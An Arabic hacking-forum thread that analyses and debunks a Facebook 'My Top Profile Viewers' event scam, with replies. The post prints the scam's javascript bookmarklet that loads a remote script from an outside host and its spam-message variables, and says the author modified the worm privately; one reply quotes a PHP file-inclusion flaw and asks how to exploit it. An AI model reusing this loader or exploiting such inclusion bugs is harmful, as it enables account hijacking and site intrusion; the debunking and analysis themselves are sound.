شرح ثغره الايفنت ونشرها تحت اسم "Edit My Top Profile Viewers Are" بالفيس بوك

[KaLa$nikoV]

السلام عليكم ورحمه الله وبركاته




من فتره قصيره انتشرت ثغره

event

بين كثير من الشباب الي بحبو يعرفو مين الي شاهد بروفايلهم



للاسف ما حد راضي يقتنع انو هاد الكلام كذب وما رح تقدر

تعرف مين الي شاهد بروفايلك

يعني فكك مني راح اضل اتجسس ع بروفايلك ومالك دعوه

ههههههههههه



نشوف الثغره الي جديد طلعت واستغلوها الهاكرز بشغل غبي

طبعا الثغره مجرد ازعاج


عباره عن حلقه مغلقه

يعني تنشر نفسها بنفسها من خلال الايفنت

boot event


اتفقت انا وصاحبي

cyber

نعمل اكاونت نفتح فيه الايفنت عشان نحلله ونعرف ايش الي بصير

----------
هام

اقرا الي بكتبه لكن مش ضروري اتطبق بلاش تروح انت الثاني بستين داهيه

ومحد يساوي حريف يحاول يحلل اكواد اذا مكنش فاهم كل خطوه بعملها

---------
اول ما فتحنا اللثغره هذا ما حصل

طيب يا زريقي نفتح ال
post
ألي اجاني منه
tag

---

هون انا بدي اركز ع شغلتين
السهم الازرق
199 views
لوني بالفيس بوك من ايام ما سيدي بقى عايش ما وصل لهاد الرقم الاحترافي
(بلش عبدو يتخوت وهو مداوم ببروفايلات العالم بقى ليه)

الاشي الثاني الي راح نركز عليه هو السهم الاحمر
وبالاخص تحت الخط الاخضر

هاد اللنك هو بدايه الحلقه المغلقه
ومن هنا تبدا الحكايه
بلش شغلنا ببتبع الثغره وتحليلها

[FONT=lucida grande, tahoma, verdana, arial, sans-serif]كل الي بدي اياه من النك والصفحه الي قدامي هو هاد الكود
[FONT=lucida grande, tahoma, verdana, arial, sans-serif]javascripta=(b=********).createElement('script')).src='//bbbindia4.in/jsp.php',b.body.appendChild(a);void(0)
[/FONT][/FONT]

[FONT=lucida grande, tahoma, verdana, arial, sans-serif]كود بسيط خفيف نظيف ومبين نص سطر
[FONT=lucida grande, tahoma, verdana, arial, sans-serif]لكن حقيقه هو مليون امر مخفيات تحت اللنك الي باللون الاحمر


[FONT=lucida grande, tahoma, verdana, arial, sans-serif]نحلل اللنك الي عنا[/FONT]
[FONT=lucida grande, tahoma, verdana, arial, sans-serif]jsp.php[/FONT]
[FONT=lucida grande, tahoma, verdana, arial, sans-serif]نشوف الحلاوه الي طلعت معي[/FONT]

[FONT=lucida grande, tahoma, verdana, arial, sans-serif]هاي مجرد خرابيط ب5 اسطر لسا الكود الكبيير ما ظهر والي هو سبب المصايب[/FONT]
[FONT=lucida grande, tahoma, verdana, arial, sans-serif]نفتح السوس بيج وراح نحصل ع الثغره الي مجننه الشعب[/FONT]

[FONT=lucida grande, tahoma, verdana, arial, sans-serif]طيب راح يطلع معانا كلام حوالي 321 سطر[/FONT]
[FONT=lucida grande, tahoma, verdana, arial, sans-serif]تذكرو بالبدايه كلها كانت نصف سطر[/FONT]

الي بهمني من هاد الكلام كله اني اثبت لكم
صدق او كذب الاعلان الي حصل بخصوص
My Top Profile Viewers

الي يلزمنا نحلل هاد الكود
[/FONT][/FONT]

var message = '%firstname% See who views your profile ';

var ev = 'check out this new facebook feature! \x0A see your profile view results by copying and pasting the link below in the address bar \x0A ';

var test = 'My Top Profile Viewers Are:\x0A';

var id = '%tf% - ' + randomnumber1 + ' views,\x0A';

var id1 = '%tf% - ' + randomnumber2 + ' views,\x0A';

var id2 = '%tf% - ' + randomnumber3 + ' views,\x0A';

var id3 = '%tf% - ' + randomnumber4 + ' views,\x0A';

var post = ' see who viewed your facebook profile @ ';

var postmessage = test + id + id1 + id2 + id3 + post + url + randomnumber;

var chatmessage = message + url + randomnumber;

var redirect = 'http://www.gameindiagame.blogspot.com/';

var eventdesc = ev + url + randomnumber;

var eventname = 'How to see who viewed your profile!!';

var nfriends = 5000;

راح اشرحه شرح سريع عشان انا عارف اغلب الي رح يقراو الكود ما رح يفهمو شيء
الكود بقولك اطبع الكلام هاد
My Top Profile Viewers Are
وانزل سطر
اطبع
اسم شخص من الفرندس وطبع مقدار مشاهدته للبروفايل
هون رح نركز شويه
مقدار مشاهدته للبروفايل
هو رقم عشوائي
randomnumber1
الي بتبع الكود بلقى الكل رقم عشوائي
اذن صفا لنا الكود راح ينزل لنا اسماء عشوائيه من الفرندس عنا
ويضع لنا مشاهدات بارقام عشوائيه

arty:
قلتلكم كذب بكذب


طيب هيك خلصنا كشف الغطاء عن الخداع
ونصيحه مني لا تصدقو هيك كلام مره ثانيه
وفي كمان كذبه اتصل من الفيس بوك مجانا لكن بحس نفسي سخيف لو شرحتها ....(شو عرفك انها كذبه قال من كبرها)


وان شاء الله هاد الشرح يكون كفاره عن .......
(والله بطلع مديون)

طبعا تم سحب الثغره واح نعدلها لاشي اخطر لكن ما رح ننشرها
الا في
VBSPIDERS VIP SECTION

بكل بساطه ما بدي ينتشر الموضوع بين ناس تخرب وتكركب
just to have more best security and info about hacking
visit us http://www.facebook.com/vbspiders
hack to learn not learn hack

DiV by VoLc4n0
وسنه طيبه ع الاخوان المسيحين بمناسبه عيد الفصح
arty:
​

 

[k4$p3r-MA]

NiC3 FuN فهمت شوي
خخخخخخخخخ

شكرااا اخي عبدو على الشرح

 

[PinG^^]

يعطيك العافية
بارك الله فيك
+ 6 نجووم
بطل

 

[ChucK NoRRis]

شكرا شرح كافي للفهم

والله البارحة تلقيت عديد الدعوات للمشاركة في هذا الافنت من مختلف الأصدقاء

ومارديت لانو ما يقلقني كم من مرة تمت زيارة البروفيل

ما أدري ليش هالخرفان يحبو يعرفو عدد الزيارات !!

 

[°l||l° نور الظلام °l||l°]

فهمت ولكن لي تعقيب اخ KaLa$nikoV
انا مرور الشخص للبروفايل لسؤال ؟اعتقد هي شي واضح ومعلوم للكل ؟!
اشكرك ويا كثرر ما ينزلوو وبا الاخيرر يطلع الثغره كذب بكذب
مشكووور :great:
وجزاك الله كل خيرررarty:

 

[KaLa$nikoV]

انا مرور الشخص للبروفايل لسؤال ؟

من بعد اذنك لم افهم
ممكن الكتابه بلغه عربيه فصحى

 

[ReD-HaT]

ايه أخ عبدو كنت عارف هاي الكدبة
و شكراا للتوضيح ان شاء الله نقوم باستغلالها بارك الله فيك
بالنسبة ل

وان شاء الله هاد الشرح يكون كفاره عن .......

يا مان انسى هدا
و الله مالك غالط بشي ....
هههههه
و لكن لاتعيدها
بالتوفيق​

 

[mr_badz]

مشكووووووووووووور وووصل يا بطل

 

[neo-m]

mercii

 

[neo-m]

مشكور

 

[hank00sh]

يسلمو فلكانو

حتى انا ما صدقت حكايه الاتصال المجاني من الفيس بوك من احد الاخوى منزل موضوع

هههههههههههههههههاي

وفيه واحد رد عليه وجرب التجربه ونفعت معاه بس انا متاكد فيه شي

تقبل مروري

 

[b10001]

oké__________oké

me________me

you_____you

 

[JetLi]

السلام عليكم لدى احد المواقع ثغرة RFI صعبة الاستغلال جربت فيه اجميع الحيل حتى %00 جربته
هذه الثغرة على ما اعتقد كود البي اتش بي بها هو

// lang value are 'en' so full address will be "enlanguage/language.php"

$s=$_GET['lang']."language/language.php";
require_once($s);

.....

افيدوني كيف استفيد منها مع انها حاظرة http: وتعطي خطأ هل يمكنيي استخدامها كـ
LFI ?:jap:

 

[المخترق الصغير]

شكر لك اخي عبدو عالشرح
​

 

[المخترق الصغير]

السلام عليكم لدى احد المواقع ثغرة RFI صعبة الاستغلال جربت فيه اجميع الحيل حتى %00 جربته
هذه الثغرة على ما اعتقد كود البي اتش بي بها هو

// lang value are 'en' so full address will be "enlanguage/language.php"

$s=$_GET***91;'lang'***93;."language/language.php";
require_once($s);

.....

افيدوني كيف استفيد منها مع انها حاظرة http: وتعطي خطأ هل يمكنيي استخدامها كـ
LFI ?:jap:

اخي ضع الرد في القسم الخاص هدا موضوع الاخ عبدو و يتحدث عن ثغرة اخرى ..:yes:

 

[طالب علم82]

كل الشكر على هذه المعلومات القيمه

 

[ssmba]

مشكووووووووووووور

 

[yassonee]

مجهود رائع

 

[kabos2011]

رد: شرح ثغره الايفنت ونشرها تحت اسم "Edit My Top Profile Viewers Are" بالفيس بوك

مشكور على المعلومة المهمة دى

 

[mglori]

رد: شرح ثغره الايفنت ونشرها تحت اسم "Edit My Top Profile Viewers Are" بالفيس بوك

thksssss